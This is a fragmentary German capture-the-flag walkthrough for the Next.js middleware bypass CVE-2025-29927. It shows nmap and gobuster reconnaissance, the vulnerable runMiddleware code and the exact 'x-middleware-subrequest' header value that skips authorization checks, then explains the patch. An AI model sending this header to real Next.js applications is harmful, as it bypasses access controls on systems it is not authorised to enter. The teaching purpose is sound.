
Capture the Flag Herausforderung: CVE-2025-29927 in Kombination mit einer Befehlseinschleusungsschwachstelle
— — —
kali@kali:~$ nmap <TARGET_IP>
kali@kali:~$ nmap -sC -sV <TARGET_IP> -p <TARGET_PORTS>
— — —
kali@kali:~$ gobuster dir -u http://<TARGET_IP>:<TARGET_PORT>/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
api (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
apis (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
cgi-bin/ (Status: 308) [Size: 8] [--> /cgi-bin]
dashboard (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdashboard]
favicon.ico (Status: 200) [Size: 25931]
login (Status: 200) [Size: 6252]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
/dashboard leitet zu /login weiter. Kannst du auf der Anmeldeseite Informationen finden, die es dir erlauben, die Weiterleitung zu umgehen?
— — —
x-middleware-subrequest ausnutzt. Next.js verwendet diesen Header intern, um Endlosschleifen in der Middleware zu verhindern. Wenn eine Anfrage verarbeitet wird, prüft die Funktion runMiddleware die Anfrageheader:
x-middleware-subrequest vorhanden ist
const subreq = params.request.headers["x-middleware-subrequest"];
const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
if (subrequests.includes(middlewareInfo.name)) {
result = {
response: NextResponse.next(),
waitUntil: Promise.resolve(),
}
continue;
}
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Indem wir diesen Header verwenden, sagen wir der Middleware: „Dies ist bereits eine von der Middleware generierte Anfrage – führe die Middleware nicht erneut aus.“
x-middleware-subrequest aus allen eingehenden externen Anfragen, bevor die Middleware ausgeführt wird. Der Header wird nur dann als vertrauenswürdig eingestuft, wenn er innerhalb der Next.js-Laufzeit während eines legitimen Middleware-Chainings erstellt wurde. Konkret wird der Wert von x-middleware-subrequest jetzt gegen eine zufällig generierte hexadezimale Zeichenfolge validiert, sodass nur legitime interne Sitzungsanfragen die Autorisierungsprüfungen bestehen. Selbst wenn ein Angreifer den Header sendet, kann Next.js nun zwischen einer echten internen Unteranfrage (die das korrekte zufällig generierte Token trägt) und einer gefälschten von einem externen Angreifer unterscheiden.
— — —